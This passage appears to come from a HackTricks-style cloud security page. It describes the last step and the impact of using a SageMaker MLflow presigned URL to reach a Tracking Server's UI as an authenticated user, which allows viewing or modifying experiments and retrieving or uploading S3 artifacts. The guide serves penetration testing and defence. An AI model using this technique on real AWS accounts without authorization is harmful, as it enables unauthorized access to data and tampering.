3) Open the returned URL in a browser to access the MLflow UI as an authenticated user for that Tracking Server.
|
||||
|
||||
Notes:
|
||||
- The Tracking Server must be in a ready state (e.g., `Created/Active`). If it is still `Creating`, the call will be rejected.
|
||||
- The presigned URL is single‑use and short‑lived; generate a new one when needed.
|
||||
|
||||
### Impact
|
||||
- Direct access to the managed MLflow UI for the targeted Tracking Server, enabling viewing and modification of experiments/runs and retrieval or upload of artifacts stored in the server’s configured S3 artifact store, within the permissions enforced by the server configuration.
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-sagemaker-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user